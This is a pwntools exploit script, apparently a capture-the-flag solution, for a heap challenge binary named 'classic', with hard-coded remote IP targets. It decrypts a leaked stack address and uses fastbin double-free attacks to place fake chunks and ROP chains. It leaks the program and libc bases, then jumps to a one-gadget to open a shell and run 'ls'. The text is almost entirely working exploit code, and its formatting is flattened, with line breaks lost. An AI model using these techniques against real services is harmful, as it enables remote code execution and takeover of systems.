1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166
| import struct from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') local = 1 elf = ELF('./classic') if local: p = process('./classic') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive()
onegadget64 = [0x45216,0x4526a,0xf02a4,0xf1147] _DELTA = 0x9E3779B9 v = [0,0,0,0,0,0,0,0,0,0,0]
def decrypt(v,n,key): n = n-1 z = v[n] y = v[0] q = 6 + 52 // (n + 1) sum1 = (q * _DELTA) & 0xffffffff while (sum1 != 0): e = sum1 >> 2 & 3 for p in xrange(n, 0, -1): z = v[p - 1] v[p] = (v[p] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum1 ^ y) + (key[p & 3 ^ e] ^ z))) & 0xffffffff y = v[p] z = v[n] v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum1 ^ y) + (key[0 & 3 ^ e] ^ z))) & 0xffffffff y = v[0] sum1 = (sum1 - _DELTA) & 0xffffffff return v def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr): gdb.attach(p,"b *"+str(hex(addr)))
def malloc(con,size,content): sd('\x01') sd(con) sl(str(size)) sd(content) def free(index): sd('\x02') sl(str(index))
def write(content): sd('\x03') sd(content)
def fastbin_attack(chunk,py): free(1) free(0) free(1) malloc('3'*8,0x60,p64(chunk)) malloc('4'*8,0x60,'d'*0x60) malloc('5'*8,0x60,'e'*0x60) malloc('6'*0x8,0x60,py) debug(0)
def pwn(): ru("welcome to ziiiro's classical heap quiz\n") write('A'*0x20) for i in range(11): v[i] = u32(rc(4)) k = [0x6854CC6D,0x0A4BB7D0E,0x660B8F8F,0x714829A5] n = 0xb h = decrypt(v,n,k) stack = (h[9]<<32)+h[8] print "stack--->" + hex(stack) fake_chunk = stack-0x163 print "fake_chunk--->" + hex(fake_chunk) malloc('0'*8,0x60,'a'*0x60) malloc('1'*8,0x60,'b'*0x60) malloc('2'*8,0x60,'c'*0x60)
py = 'a'*3 py += p64(0) py += '\xA9\x4E' fastbin_attack(fake_chunk,py) rc(11) base_addr = u64(rc(8)) - 0xeb3 print "base_addr--->" + hex(base_addr) pop_rdi_ret = base_addr + 0x1513 pop_rsi_r15_ret = base_addr + 0x1511 read_plt = base_addr + elf.sym["read"] write_plt = base_addr + elf.sym["write"] num_addr = base_addr + 0x20203C main_addr = base_addr + 0xe66 write_got = base_addr + 0x201F88
py = '' py += 'a'*3 py += p64(0) py += p64(pop_rdi_ret) py += p64(0) py += p64(pop_rsi_r15_ret) py += p64(num_addr) py += p64(0) py += p64(read_plt) py += p64(main_addr) fastbin_attack(fake_chunk-0x20,py) sd('\x00')
ru("welcome to ziiiro's classical heap quiz\n") py = '' py += 'a'*3 py += p64(0) py += p64(pop_rdi_ret) py += p64(1) py += p64(pop_rsi_r15_ret) py += p64(write_got) py += p64(0) py += p64(write_plt) py += p64(main_addr) fastbin_attack(fake_chunk-0x58,py)
libc_base = u64(rc(8)) - libc.sym["write"] onegadget = libc_base + onegadget64[3] print "libc_base--->" + hex(libc_base)
ru("welcome to ziiiro's classical heap quiz\n") py = '' py += 'a'*3 py += p64(0) py += p64(onegadget) fastbin_attack(fake_chunk-0x90,py)
i = 0 while 1: print i i += 1 try: pwn() except EOFError: p.close() local = 1 elf = ELF('./classic') if local: p = process('./classic') libc = elf.libc continue else: p = remote('121.40.246.48',9999) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: sl("ls") break p.interactive()
|